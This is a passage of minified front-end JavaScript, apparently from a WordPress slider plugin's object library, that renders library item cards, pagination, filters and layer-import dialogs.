data-slidetitle="'+e.title+'" class="material-icons ol_link_to_deeper">layers</i></div>'),r(e,s);else if(u&&(a.append('<div class="olibrary_media_overlay oneicon"><i data-librarytype="'+e.libraryType+'"  data-parenttitle="'+e.parenttitle+'"  data-parent="'+e.parent+'" data-id="'+e.id+'" data-parentuid="'+e.module_uid+'" class="material-icons ol_link_to_add">add</i></div>'),l+="moduletemplateslides"===e.libraryType?'\t<div class="installed_notinstalled olibrary_content_info oc_gray">'+(e.installed?RVS_LANG.installed:RVS_LANG.notinstalled)+"</div>":"",l+="</div>"),"moduletemplateslides"===e.libraryType){if(void 0!==e.img&&"string"==typeof e.img)tpGS.gsap.set(s,{backgroundImage:"url("+e.img+")","background-size":"cover",backgroundPosition:"center center"});else if(void 0!==e.img&&"object"==typeof e.img){S=void 0!==e.img.style?jQuery('<div class="olibrary_media_style" style="'+e.img.style+'"></div>'):jQuery('<div class="olibrary_media_style"></div>');void 0!==e.img.url&&e.img.url.length>3&&tpGS.gsap.set(S,{backgroundImage:"url("+e.img.url+")"}),s.append(S)}}else r(e,s);break;case"svgs":l='<div class="olibrary_content_left">',l+='\t<div class="olibrary_content_title">'+e.title+"</div>",l+='\t<div class="olibrary_content_type oc_green">'+RVS_LANG.iconBIG+"</div>",l+='\t<div class="olibrary_content_info oc_gray">'+RVS_LANG.svgBIG+"</div>",l+="</div>",l+='<div class="olibrary_content_right">',l+='\t<i data-id="'+e.handle+'" data-type="'+e.type+'" data-libraryType="'+e.libraryType+'" class="olibrary_favorit material-icons '+(e.favorite?"selected":"")+'">star</i>',l+="</div>",a.append('<div class="olibrary_media_overlay oneicon"><i data-librarytype="'+e.libraryType+'" data-handle="'+e.handle+'" data-elementtype="" class="material-icons ol_link_to_add">add</i></div>'),void 0!==e.img&&jQuery.get(e.img,function(e){var t=RVS.F.cE({cN:"ol_svg_preview"});t.innerHTML=(new XMLSerializer).serializeToString(e.documentElement),s.append(t)}),s[0].className+=" patternbg";break;case"fonticons":l='<div class="olibrary_content_left">',l+='\t<div class="olibrary_content_title">'+e.title+"</div>",l+='\t<div class="olibrary_content_type oc_green">'+RVS_LANG.iconBIG+"</div>",l+='\t<div class="olibrary_content_info oc_gray">'+RVS_LANG.fontBIG+"</div>",l+="</div>",l+='<div class="olibrary_content_right">',l+='\t<i data-id="'+e.handle+'" data-type="'+e.type+'" data-libraryType="'+e.libraryType+'" class="olibrary_favorit material-icons '+(e.favorite?"selected":"")+'">star</i>',l+="</div>",a.append('<div class="olibrary_media_overlay oneicon"><i data-librarytype="'+e.libraryType+'" data-handle="'+e.handle+'" data-elementtype="" class="material-icons ol_link_to_add">add</i></div>');var f="";if(void 0!==e.classextension)for(var b in e.classextension)e.classextension.hasOwnProperty(b)&&(f+=" "+e.classextension[b]);"MaterialIcons"===e.tags[0]?s.append('<i class="fonticonobj material-icons">'+e.handle.replace(".","")+"</i>"):s.append('<i class="fonticonobj '+f+" "+e.handle.replace(".","")+'"></i>'),s[0].className+=" patternbg";break;case"modules":let t=!("undefined"==typeof RS_SHORTCODE_FAV||!RS_SHORTCODE_FAV.modules)&&RS_SHORTCODE_FAV.modules;if(t)for(let i in t)if(t.hasOwnProperty(i)&&t[i]===e.id){e.favorite=!0;break}if(e.premium&&a.append('<div class="rs_lib_premium_wrap'+(RVS.ENV.activated?"":" rs_n_ac_n")+'"><div class="rs_lib_premium_lila">'+RVS_LANG.premium+'</div><div class="rs_lib_premium_red"><i class="material-icons">visibility_off</i>'+RVS_LANG.premium+'</div><div class="rs_lib_premium_red_hover"><i class="material-icons">visibility_off</i>'+RVS_LANG.premiumunlock+"</div></div>"),l='<div class="olibrary_content_left">',l+='\t<div class="olibrary_content_title">'+e.title+"</div>",e.folder?l+='\t<div class="olibrary_content_type oc_package">'+RVS_LANG.folderBIG+"</div>":l+='\t<div class="olibrary_content_type oc_purple">'+RVS_LANG.moduleBIG+"</div>",e.folder||(l+='\t<div class="olibrary_content_info oc_gray">'+e.type+"</div>"),l+="</div>",l+='<div class="olibrary_content_right">',l+='\t<i data-id="'+e.id+'" data-type="'+e.type+'" data-libraryType="'+e.libraryType+'" class="olibrary_favorit material-icons '+(e.favorite?"selected":"")+'">star</i>',l+="</div>",e.folder){a.append('<div class="olibrary_media_overlay oneicon"><i data-librarytype="'+e.libraryType+'" data-folderid="'+e.id+'" data-elementtype="folder_parent" data-title="'+e.title+'" data-packageid="'+e.package_id+'" class="material-icons ol_link_to_deeper">folder</i></div>');for(b=1;b<=4;b++){var y=jQuery('<div class="folder_img_placeholder folder_img_'+b+'"></div>');if(void 0!==e.children&&e.children.length>=b){var R=RVS.F.getSliderIndex(e.children[b-1]);-1!==R&&r(RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][R],y)}s.append(y)}s.addClass("obj_med_darkbg")}else"editor"===RVS.LIB.OBJ.context?a.append('<div class="olibrary_media_overlay oneicon"><i data-librarytype="'+e.libraryType+'" data-moduleid="'+e.id+'" data-folderid="'+e.id+'" data-elementtype="module_parent" data-title="'+e.title+'" data-packageid="'+e.id+'" class="material-icons ol_link_to_deeper">burst_mode</i></div>'):RVS.LIB.OBJ.shortcode_generator?a.append('<div class="olibrary_media_overlay oneicon"><i data-librarytype="'+e.libraryType+'" data-elementtype="" class="material-icons ol_link_to_add">add</i></div>'):a.append('<div class="olibrary_media_overlay"><i data-librarytype="'+e.libraryType+'" data-elementtype="" class="material-icons ol_link_to_add">add</i><i data-librarytype="'+e.libraryType+'" data-elementtype="" data-preview="'+e.preview+'"  class="material-icons ol_link_to_view">visibility</i></div>'),r(e,s);break;case"objects":if(l='<div class="olibrary_content_left">',l+='\t<div class="olibrary_content_title">'+e.title+"</div>",l+='\t<div class="olibrary_content_type oc_cyan">'+RVS_LANG.objectBIG+"</div>",l+='\t<div data-w="'+e.width+'" data-h="'+e.height+'" id="sizeinfo_'+e.libraryType+"_"+e.id+'" class="olibrary_content_info oc_gray">'+e.width+"x"+e.height+"</div>",l+="</div>",l+='<div class="olibrary_content_right">',l+='\t<i data-id="'+e.id+'" data-type="'+e.type+'" data-libraryType="'+e.libraryType+'" class="olibrary_favorit material-icons '+(e.favorite?"selected":"")+'">star</i>',l+="</div>",!1===RVS.ENV.activated?a.append('<div class="olibrary_media_overlay"><div class="avtivationicon"><i class="material-icons">not_interested</i>'+RVS_LANG.licencerequired+"</div></div>"):a.append('<div class="olibrary_media_overlay"><div class="olibrary_addimage_wrapper"><div data-id="'+e.id+'" data-size="xs" data-librarytype="'+e.libraryType+'" class="ol_link_to_add_image">xs</div><div data-id="'+e.id+'" data-size="s" data-librarytype="'+e.libraryType+'" class="ol_link_to_add_image">s</div><div data-id="'+e.id+'" data-size="m" data-librarytype="'+e.libraryType+'" class="ol_link_to_add_image">m</div><div data-id="'+e.id+'" data-size="l" data-librarytype="'+e.libraryType+'" class="ol_link_to_add_image">l</div><div data-id="'+e.id+'" data-size="o" data-librarytype="'+e.libraryType+'" class="ol_link_to_add_image">o</div></div></div>'),void 0!==e.img&&"string"==typeof e.img){S=jQuery('<img class="olib_png_obj" src="'+e.img+'">');s.append(S)}else if(void 0!==e.img&&"object"==typeof e.img){S=void 0!==e.img.style?jQuery('<div class="olibrary_media_style" style="'+e.img.style+'"></div>'):jQuery('<div class="olibrary_media_style"></div>');void 0!==e.img.url&&e.img.url.length>3&&tpGS.gsap.set(S,{backgroundImage:"url("+e.img.url+")",backgroundRepeat:"no-repeat","background-size":"contain",backgroundPosition:"center center"}),s.append(S)}s[0].className+=" patternbg";break;case"images":if(l='<div class="olibrary_content_left">',l+='\t<div class="olibrary_content_title">'+e.title+"</div>",l+='\t<div class="olibrary_content_type oc_blue">'+RVS_LANG.imageBIG+"</div>",l+='\t<div data-w="'+e.width+'" data-h="'+e.height+'" id="sizeinfo_'+e.libraryType+"_"+e.id+'" class="olibrary_content_info oc_gray">'+e.width+"x"+e.height+"</div>",l+="</div>",l+='<div class="olibrary_content_right">',l+='\t<i data-id="'+e.id+'" data-type="'+e.type+'" data-libraryType="'+e.libraryType+'" class="olibrary_favorit material-icons '+(e.favorite?"selected":"")+'">star</i>',l+="</div>",!1===RVS.ENV.activated?a.append('<div class="olibrary_media_overlay"><div class="avtivationicon"><i class="material-icons">not_interested</i>'+RVS_LANG.licencerequired+"</div></div>"):a.append('<div class="olibrary_media_overlay"><div class="olibrary_addimage_wrapper"><div data-id="'+e.id+'" data-size="xs" data-librarytype="'+e.libraryType+'" class="ol_link_to_add_image">xs</div><div data-id="'+e.id+'" data-size="s" data-librarytype="'+e.libraryType+'" class="ol_link_to_add_image">s</div><div data-id="'+e.id+'" data-size="m" data-librarytype="'+e.libraryType+'" class="ol_link_to_add_image">m</div><div data-id="'+e.id+'" data-size="l" data-librarytype="'+e.libraryType+'" class="ol_link_to_add_image">l</div><div data-id="'+e.id+'" data-size="o" data-librarytype="'+e.libraryType+'" class="ol_link_to_add_image">o</div></div></div>'),void 0!==e.img&&"string"==typeof e.img)tpGS.gsap.set(s,{backgroundImage:"url("+e.img+")","background-repeat":"no-repeat","background-size":"cover",backgroundPosition:"center center",backgroundRepeat:"no-repeat"});else if(void 0!==e.img&&"object"==typeof e.img){S=void 0!==e.img.style?jQuery('<div class="olibrary_media_style" style="'+e.img.style+'"></div>'):jQuery('<div class="olibrary_media_style"></div>');void 0!==e.img.url&&e.img.url.length>3&&tpGS.gsap.set(S,{backgroundImage:"url("+e.img.url+")"}),s.append(S)}s[0].className+=" patternbg";break;case"videos":if(l='<div class="olibrary_content_left">',l+='\t<div class="olibrary_content_title">'+e.title+"</div>",l+='\t<div class="olibrary_content_type oc_blue">'+RVS_LANG.videoBIG+"</div>",l+='\t<div class="olibrary_content_info oc_gray">'+e.width+"x"+e.height+"</div>",l+="</div>",l+='<div class="olibrary_content_right">',l+='\t<i data-id="'+e.id+'" data-type="'+e.type+'" data-libraryType="'+e.libraryType+'" class="olibrary_favorit material-icons '+(e.favorite?"selected":"")+'">star</i>',l+="</div>",n+='<div class="ol_template_info_wrap videopreview">',n+="</div>",a[0].className+=" show_video_on_hover",a[0].dataset.videosource=e.video_thumb.url,!1===RVS.ENV.activated?a.append('<div class="olibrary_media_overlay"><div class="avtivationicon"><i class="material-icons">not_interested</i>'+RVS_LANG.licencerequired+"</div></div>"):a.append('<div class="olibrary_media_overlay oneicon"><i data-librarytype="'+e.libraryType+'" data-id="'+e.id+'" data-handle="'+e.handle+'" data-elementtype="" class="material-icons ol_link_to_add">add</i></div>'),s[0].dataset.videosource=e.video_thumb.url,void 0!==e.img&&"string"==typeof e.img)tpGS.gsap.set(s,{backgroundImage:"url("+e.img+")","background-repeat":"no-repeat","background-size":"cover",backgroundPosition:"center center"});else if(void 0!==e.img&&"object"==typeof e.img){S=void 0!==e.img.style?jQuery('<div class="olibrary_media_style" style="'+e.img.style+'"></div>'):jQuery('<div class="olibrary_media_style"></div>');void 0!==e.img.url&&e.img.url.length>3&&tpGS.gsap.set(S,{backgroundImage:"url("+e.img.url+")"}),s.append(S)}break;case"layers":if(e.title=RVS.F.capitaliseAll(e.title.replace(/[_-]/g," ")),l='<div class="olibrary_content_left">',l+='\t<div class="olibrary_content_title">'+e.title+"</div>",l+='\t<div class="olibrary_content_type oc_blue">'+RVS_LANG.layersBIG+"</div>",l+='\t<div class="olibrary_content_info oc_gray">'+e.width+"x"+e.height+"</div>",l+="</div>",l+='<div class="olibrary_content_right">',l+='\t<i data-id="'+e.id+'" data-type="'+e.type+'" data-libraryType="'+e.libraryType+'" class="olibrary_favorit material-icons '+(e.favorite?"selected":"")+'">star</i>',l+="</div>",n+='<div class="ol_template_info_wrap videopreview">',n+="</div>",a[0].className+=" show_video_on_hover",a[0].dataset.videosource=e.video_thumb.url,!1===RVS.ENV.activated?a.append('<div class="olibrary_media_overlay"><div class="avtivationicon"><i class="material-icons">not_interested</i>'+RVS_LANG.licencerequired+"</div></div>"):a.append('<div class="olibrary_media_overlay oneicon"><i data-librarytype="'+e.libraryType+'" data-id="'+e.id+'" data-handle="'+e.handle+'" data-elementtype="" class="material-icons ol_link_to_add">add</i></div>'),s[0].dataset.videosource=e.video_thumb.url,void 0!==e.img&&"string"==typeof e.img)tpGS.gsap.set(s,{backgroundImage:"url("+e.img+")","background-repeat":"no-repeat","background-size":"cover",backgroundPosition:"center center"});else if(void 0!==e.img&&"object"==typeof e.img){S=void 0!==e.img.style?jQuery('<div class="olibrary_media_style" style="'+e.img.style+'"></div>'):jQuery('<div class="olibrary_media_style"></div>');void 0!==e.img.url&&e.img.url.length>3&&tpGS.gsap.set(S,{backgroundImage:"url("+e.img.url+")",backgroundSize:"cover"}),s.append(S)}break;default:if(void 0!==RVS.F["newObjectLibraryItem_"+e.libraryType]){var _=RVS.F["newObjectLibraryItem_"+e.libraryType](e,a);void 0!==_.content&&(l+=_.content),void 0!==_.infocontent&&(n+=_.infocontent)}}if(""!==l&&o.append(l),""!==n&&a.append(n),void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType]&&void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].upload){var V=a.find(".olibrary_custom_tagselector");void 0!==e.tags&&void 0!==e.tags[0]&&e.tags.length>0&&"All"!==e.tags[0]?V.val(e.tags[0]):V.val("all"),void 0!==V&&V.length>0&&V.ddTP()}return a},RVS.F.getCustomTagsOptions=function(e){var t='<option value="all">All</option>';if(void 0===RVS.LIB.OBJ.types[e]||void 0===RVS.LIB.OBJ.types[e].tags)return"";for(var i in RVS.LIB.OBJ.types[e].tags)if(RVS.LIB.OBJ.types[e].tags.hasOwnProperty(i)){var a=RVS.LIB.OBJ.types[e].tags[i];a=void 0===a?"All":a,t=t+'<option value="'+i+'">'+RVS.LIB.OBJ.types[e].tags[i]+"</option>"}return t},RVS.F.changeOLIBToFolder=function(e){RVS.LIB.OBJ.selectedFolder=e,RVS.F.resetAllFilters(),RVS.F.updateFilteredList({force:!0,keeppage:!1,noanimation:!1})},RVS.F.buildPagination=function(e){var t,i,a,r=RVS.F.getCookie("rs6_library_pagination");if(RVS.C.ol_pagination=null==RVS.C.ol_pagination?jQuery("#ol_pagination"):RVS.C.ol_pagination,t=i=a=g(),jQuery("#ol_right").scrollTop(0),e=void 0===e?{keeppage:!1}:e,RVS.LIB.OBJ.maxAmountPerPage!==t){RVS.C.ol_pagination.ddTP("destroy"),RVS.LIB.OBJ.maxAmountPerPage=t;for(var o=RVS.C.ol_pagination[0].options,s=0;s<=4;s++){var l=o[s];l.value=a,l.selected=l.value===r,l.innerHTML=RVS_LANG.show+" "+a+" "+RVS_LANG.perpage,a+=i}RVS.C.ol_pagination.ddTP()}RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].length<t?RVS.LIB.OBJ.container_Library.find("#ol_footer .rs_fh_right").hide():RVS.LIB.OBJ.container_Library.find("#ol_footer .rs_fh_right").show(),RVS.LIB.OBJ.selectedPage=e.keeppage&&jQuery(".page_button.ol_pagination.selected").length>0?jQuery(".page_button.ol_pagination.selected").data("page"):1;var n,d=RVS.LIB.OBJ.container_Pagination[0].value||4,c=0;if(RVS.LIB.OBJ.pageAmount="all"===d||null===parseInt(d,0)||0===parseInt(d,0)?1:Math.ceil(RVS.LIB.OBJ.filteredList.length/parseInt(d,0)),RVS.LIB.OBJ.itemPerPage="all"===d?99999:parseInt(d,0),RVS.LIB.OBJ.itemPerPage=-1!=RVS.LIB.OBJ.selectedFolder?RVS.LIB.OBJ.itemPerPage-1:RVS.LIB.OBJ.itemPerPage,RVS.LIB.OBJ.container_PaginationWrap[0].innerHTML="",RVS.LIB.OBJ.selectedPage=RVS.LIB.OBJ.selectedPage>RVS.LIB.OBJ.pageAmount?RVS.LIB.OBJ.pageAmount:RVS.LIB.OBJ.selectedPage,RVS.LIB.OBJ.pageAmount>1)for(s=1;s<=RVS.LIB.OBJ.pageAmount;s++)n=s!==RVS.LIB.OBJ.selectedPage?"":"selected",RVS.LIB.OBJ.container_PaginationWrap[0].innerHTML+='<div data-page="'+s+'" class="'+n+' page_button ol_pagination">'+s+"</div>",1===s?RVS.LIB.OBJ.container_PaginationWrap[0].innerHTML+='<div data-page="-9999" class="page_button ol_pagination">...</div>':s===RVS.LIB.OBJ.pageAmount-1&&(RVS.LIB.OBJ.container_PaginationWrap[0].innerHTML+='<div data-page="9999" class="page_button ol_pagination">...</div>');for(var p in RVS.LIB.OBJ.pages=[],RVS.LIB.OBJ.pages.push([]),RVS.LIB.OBJ.filteredList)RVS.LIB.OBJ.filteredList.hasOwnProperty(p)&&(RVS.LIB.OBJ.pages[RVS.LIB.OBJ.pages.length-1].push(RVS.LIB.OBJ.filteredList[p]),++c===RVS.LIB.OBJ.itemPerPage&&(c=0,RVS.LIB.OBJ.pages.push([])));m()},RVS.F.buildObjectLibrary=function(t){var i='<div id="objectlibrary" class="rs_overview _TPRB_">';for(var a in i+='\t<div class="rb_the_logo">SR</div>',i+='\t<div id="ol_filters_wrap">',i+='\t\t<div id="ol_filters"></div>',i+="\t</div>",i+='\t<div id="upload_custom_files"></div>',i+='\t<div id="ol_right">',i+='\t\t<div id="ol_header" class="overview_header_footer">',i+='\t\t\t\t<div class="rs_fh_left"><input class="flat_input" id="searchobjects" type="text" placeholder="Search Modules ..."></div>',i+='\t\t\t\t<div class="rs_fh_right">',i+=' \t\t\t\t\t<div id="obj_fil_favorite"><i class="material-icons">star</i>'+RVS_LANG.ol_favorite+"</div>",i+='\t\t\t\t\t<div id="ol_modulessorting"><i class="material-icons reset_select" id="reset_objsorting">replay</i><select id="sel_olibrary_sorting" data-evt="updateObjectLibraryOverview" data-evtparam="#reset_objsorting" class="overview_sortby tos2 nosearchbox callEvent" data-theme="autowidth" tabindex="-1" aria-hidden="true"><option value="datedesc">'+RVS_LANG.sortbycreation+'</option><option value="date">'+RVS_LANG.creationascending+'</option><option value="title">'+RVS_LANG.sortbytitle+'</option><option value="titledesc">'+RVS_LANG.titledescending+"</option></select></div>",t||(i+=' \t\t\t\t<div id="obj_updatefromserver"><i class="material-icons">update</i>'+RVS_LANG.updatefromserver+"</div>"),i+=' \t\t\t\t\t<div id="obj_addsliderasmodal">'+RVS_LANG.sliderasmodal+'<input id="obj_addsliderasmodal_input" data-r="modal" class="scblockinput" type="checkbox" value="off"></div>',i+='\t\t\t\t\t<i id="ol_close" class="material-icons">close</i>',i+="\t\t\t\t</div>",i+='\t\t\t\t<div class="tp-clearfix"></div>',i+="\t\t</div>",i+='\t\t<div id="ol_results_wrap">',i+=' \t\t\t<div id="ol_right_underlay"></div>',i+='\t\t\t<div id="ol_results"></div>',i+="\t\t</div>",i+='\t\t<div id="ol_footer" class="overview_header_footer">',i+='\t\t\t<div class="rs_fh_left"><div id="rs_copyright">'+RVS_LANG.copyrightandlicenseinfo+'</div><div id="rs_extra_objlib_info"></div></div>',i+='\t\t\t<div class="rs_fh_right"><div id="ol_pagination_wrap" class="ol-pagination"></div>',i+='\t\t\t\t<select id="ol_pagination" data-evt="updateObjectLibraryOverview" class="overview_pagination tos2 nosearchbox callEvent" data-theme="nomargin"><option selected="selected" value="4"></option><option value="8"></option><option value="16"></option><option value="32"></option><option value="64"></option><option value="all">Show All</option></select>',i+="\t\t\t</div>",i+='\t\t\t<div class="tp-clearfix"></div>',i+="\t\t</div>",i+="\t</div>",i+="</div>",RVS.LIB.OBJ.container_Library=jQuery(i),RVS.LIB.OBJ.container_Underlay=RVS.LIB.OBJ.container_Library.find("#ol_right_underlay"),RVS.LIB.OBJ.container_Right=RVS.LIB.OBJ.container_Library.find("#ol_right"),RVS.LIB.OBJ.container_Filters=RVS.LIB.OBJ.container_Library.find("#ol_filters"),RVS.LIB.OBJ.container_Output=RVS.LIB.OBJ.container_Library.find("#ol_results"),RVS.LIB.OBJ.container_OutputWrap=RVS.LIB.OBJ.container_Library.find("#ol_results_wrap"),RVS.LIB.OBJ.container_PaginationWrap=RVS.LIB.OBJ.container_Library.find("#ol_pagination_wrap"),RVS.LIB.OBJ.container_Pagination=RVS.LIB.OBJ.container_Library.find("#ol_pagination"),RVS.LIB.OBJ.container_Sorting=RVS.LIB.OBJ.container_Library.find("#ol_modulessorting"),RVS.LIB.OBJ.types)RVS.LIB.OBJ.types.hasOwnProperty(a)&&R({groupType:a,groupAlias:RVS_LANG["ol_"+a],icon:e[a],count:RVS.LIB.OBJ.types[a].count,tags:RVS.LIB.OBJ.types[a].tags,custom:RVS.LIB.OBJ.types[a].upload});jQuery(document.body).append(RVS.LIB.OBJ.container_Library),jQuery("#sel_olibrary_sorting").ddTP(),RVS.C.ol_pagination=null==RVS.C.ol_pagination?jQuery("#ol_pagination"):RVS.C.ol_pagination,RVS.C.ol_pagination.ddTP(),f()},RVS.F.buildLayerListToSelect=function(e){var t='<div class="layimpli_main_wrap">',i={root:""};for(var a in e)e.hasOwnProperty(a)&&"zone"!==e[a].type&&(e[a]=jQuery.extend(!0,RVS.F.addLayerObj(e[a].type,void 0,!0),e[a]),void 0!==e[a].group&&"row"!==e[a].type&&"group"!==e[a].type&&"column"!==e[a].type&&(-1==e[a].group.puid?i.root+=n(e[a],0):(i[e[a].group.puid]=null==i[e[a].group.puid]?"":i[e[a].group.puid],i[e[a].group.puid]+=n(e[a],"column"==e[e[a].group.puid].type?2:1))));for(var a in e)e.hasOwnProperty(a)&&"column"===e[a].type&&(i[e[a].group.puid]=null==i[e[a].group.puid]?"":i[e[a].group.puid],i[e[a].group.puid]+='<div class="layimpli_group_wrap">',i[e[a].group.puid]+=n(e[a],1),i[e[a].group.puid]+='<div class="layimpli_group_inner">',void 0!==i[e[a].uid]&&(i[e[a].group.puid]+=i[e[a].uid]),i[e[a].group.puid]+="\t</div>",i[e[a].group.puid]+="</div>");for(var a in e)e.hasOwnProperty(a)&&("row"!==e[a].type&&"group"!==e[a].type||(t+='<div class="layimpli_group_wrap">',t+=n(e[a],0),t+='\t<div class="layimpli_group_inner">',void 0!==i[e[a].uid]&&(t+=i[e[a].uid]),t+="\t</div>",t+="</div>"));return t+=i.root,t+="</div>"},RVS.F.layerImportList=function(){jQuery("#rb_modal_underlay").appendTo("body"),void 0!==RVS.LIB.OBJ.import&&void 0!==RVS.LIB.OBJ.import.basics||(jQuery('.rb-modal-wrapper[data-modal="rbm_layerimport"]').appendTo("body"),RVS.LIB.OBJ.import={container:jQuery("#rbm_layerimport_list"),basics:!0},RVS.DOC.on("click","#rbm_layerimport .rbm_close",function(){jQuery("#rb_modal_underlay").appendTo("#slider_settings"),RVS.F.RSDialog.close()}),RVS.DOC.on("click",".layimpli_element",function(){jQuery(this).toggleClass("selected"),function(e){if("column"===e.dataset.type||"row"===e.dataset.type||"group"===e.dataset.type){var t=e.parentNode.getElementsByClassName("layimpli_element");if(e.className.indexOf("selected")>=0)for(let e in t)t.hasOwnProperty(e)&&void 0!==t[e].className&&-1==t[e].className.indexOf("selected")&&(t[e].className+=" selected");else for(let e in t)t.hasOwnProperty(e)&&t[e].className&&(t[e].className=t[e].className.replace("selected",""))}if(-1!=e.dataset.puid&&e.className.indexOf("selected")>=0){var i=RVS.LIB.OBJ.items.moduleslides[RVS.LIB.OBJ.selectedSlideId].layers;jQuery("#layi_"+e.dataset.puid).addClass("selected"),void 0!==i[e.dataset.puid]&&"column"===i[e.dataset.puid].type&&jQuery("#layi_"+i[e.dataset.puid].group.puid).addClass("selected")}for(var a in RVS.LIB.OBJ.import.layers)if(void 0!==RVS.LIB.OBJ.import.layers[a].className&&"row"==RVS.LIB.OBJ.import.layers[a].dataset.type&&RVS.LIB.OBJ.import.layers[a].className.indexOf("selected")>=0){t=RVS.LIB.OBJ.import.layers[a].parentNode.getElementsByClassName("layimpli_element layimpli_level_1");for(let e in t)t.hasOwnProperty(e)&&void 0!==t[e].className&&-1==t[e].className.indexOf("selected")&&(t[e].className+=" selected")}}(this),function(){for(var e in RVS.LIB.OBJ.import.toImport=[],RVS.LIB.OBJ.import.layers){if(!RVS.LIB.OBJ.import.layers.hasOwnProperty(e))continue;let t=RVS.LIB.OBJ.import.layers[e].dataset;void 0!==RVS.LIB.OBJ.import.layers[e]&&void 0!==RVS.LIB.OBJ.import.layers[e].className&&(RVS.LIB.OBJ.import.layers[e].className.indexOf("selected")>=0?(RVS.LIB.OBJ.import.toImport.push(t.uid),RVS.LIB.OBJ.import.layers[e].getElementsByClassName("layimpli_icon_checbox")[0].innerHTML="check_circle_outline"):RVS.LIB.OBJ.import.layers[e].getElementsByClassName("layimpli_icon_checbox")[0].innerHTML="radio_button_unchecked")}jQuery("#layers_import_feedback").html(RVS.LIB.OBJ.import.toImport.length>0?RVS.LIB.OBJ.import.toImport.length+" "+RVS_LANG.nrlayersimporting:RVS_LANG.nothingselected)}()}),RVS.DOC.on("click","#layers_import_from_slides_button",function(){RVS.F.showWaitAMinute({fadeIn:100,text:RVS_LANG.importinglayers}),setTimeout(RVS.F.importSelectedLayers,200)})),RVS.LIB.OBJ.import.container[0].innerHTML=RVS.F.buildLayerListToSelect(RVS.LIB.OBJ.items.moduleslides[RVS.LIB.OBJ.selectedSlideId].layers),RVS.LIB.OBJ.import.container.RSScroll({suppressScrollX:!0}),RVS.LIB.OBJ.import.layers=RVS.LIB.OBJ.import.container[0].getElementsByClassName("layimpli_element"),RVS.F.RSDialog.create({modalid:"rbm_layerimport",bgopacity:.85})},RVS.F.resetAllFilters=function(){RVS.LIB.OBJ.selectedPage=1,jQuery("#sel_olibrary_sorting").val("datedesc").ddTP("change"),RVS.DOC.trigger("updateObjectLibraryOverview",{val:"datedesc",eventparam:"#reset_objsorting",ignoreRebuild:!0,ignoreCookie:!0})},RVS.F.closeObjectLibrary=function(){v(),RVS.LIB.OBJ.moduleInFocus=!1,tpGS.gsap.fromTo(RVS.LIB.OBJ.container_Library,.7,{autoAlpha:1,display:"block",scale:1},{scale:.8,autoAlpha:0,display:"none",ease:"power3.inOut"}),tpGS.gsap.fromTo("#ol_header, #ol_footer",.5,{autoAlpha:1},{autoAlpha:0,ease:"power3.inOut"}),RVS.LIB.OBJ.open=!1,document.body.style.overflow=RVS.S.bodybeforeOpenLibrary},RVS.F.isItemExistsInOl=function(e,t){var i;for(var a in RVS.LIB.OBJ.items[t])RVS.LIB.OBJ.items[t].hasOwnProperty(a)&&!0!==i&&(i=""+RVS.LIB.OBJ.items[t][a].id==""+e);return i},RVS.F.getSliderIndex=function(e){var t=-1;for(var i in RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType])RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].hasOwnProperty(i)&&RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][i].id==e&&(t=i);return t},RVS.F.getModuleIndex=function(e,t){var i=-1;for(var a in RVS.LIB.OBJ.items[t])RVS.LIB.OBJ.items[t].hasOwnProperty(a)&&RVS.LIB.OBJ.items[t][a].id==e&&(i=a);return i},RVS.F.updateCustomCategorySelectors=function(e){var t=RVS.LIB.OBJ.items[e];for(var i in t)if(t.hasOwnProperty(i)&&void 0!==t[i].ref){var a=t[i].ref.find(".olibrary_custom_tagselector");void 0!==a&&a.length>0&&(a[0].innerHTML=RVS.F.getCustomTagsOptions(e),void 0!==t[i].tags&&void 0!==t[i].tags[0]&&a.val(t[i].tags[0]),a.ddTP())}},RVS.DOC.on("click",".filter_tag_name_edit",function(){return jQuery(this).closest(".ol_filter_listelement").addClass("inedit"),jQuery(this).siblings(".filter_tag_name_input").trigger("focus"),!1}),RVS.DOC.on("click",".filter_tag_name_delete",function(){var e=jQuery(this).closest(".ol_filter_listelement"),t=(e.find(".filter_tag_name_input"),e.find(".filter_tag_name"),e[0].dataset.filter),i=e[0].dataset.type;return RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deletecustomcategory,maintext:RVS_LANG.areyousuretodelete+"?",subtext:RVS_LANG.thiswilldeletecustomcategory,do:{icon:"delete",text:RVS_LANG.yesdeleteit,callback:function(){RVS.F.ajaxRequest("delete_customlibrary_tags",{id:t,type:i},function(a){var r;r=t,delete RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].tags[r],e.remove(),RVS.F.updateCustomCategorySelectors(i)})}},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0}),jQuery("#rbm_decisionModal").closest("._TPRB_.rb-modal-wrapper").appendTo(jQuery(document.body)).css({zIndex:1e8}),!1}),RVS.DOC.on("keyup",".olibrary_content_title_input",function(e){13===(e.keyCode?e.keyCode:e.which)&&jQuery(this).blur()}),RVS.DOC.on("click",".olibrary_edit_title, .olibrary_edit_title_main",function(){var e=jQuery(this).closest(".olibrary_item"),t=e.find(".olibrary_content_title"),i=e.find(".olibrary_content_title_input");e.hasClass("selected")||(e.addClass("selected"),t[0].style.opacity=0,i[0].style.display="block",i.trigger("focus"))}),RVS.DOC.on("blur",".olibrary_content_title_input",function(){var e=jQuery(this),t=e.closest(".olibrary_item"),i=e.siblings(".olibrary_content_title");(t.removeClass("selected"),i[0].style.opacity=1,e[0].style.display="none",this.value===i[0].innerHTML)||(d(i[0].dataset.id,i[0].dataset.librarytype).title=e.val(),RVS.F.ajaxRequest("edit_customlibrary_item",{id:i[0].dataset.id,name:e.val(),type:i[0].dataset.librarytype},function(t){i[0].innerHTML=e.val()}))}),RVS.DOC.on("uploadCustomObject",function(e,t){for(var i in t.items)t.items.hasOwnProperty(i)&&(RVS.F.isItemExistsInOl(t.items[i].id,RVS.LIB.OBJ.selectedType)||(t.items[i].libraryType=RVS.LIB.OBJ.selectedType,void 0===t.items[i].tags&&(t.items[i].tags=[]),RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].push(t.items[i])));var r=!1;for(i in t.tags)t.tags.hasOwnProperty(i)&&void 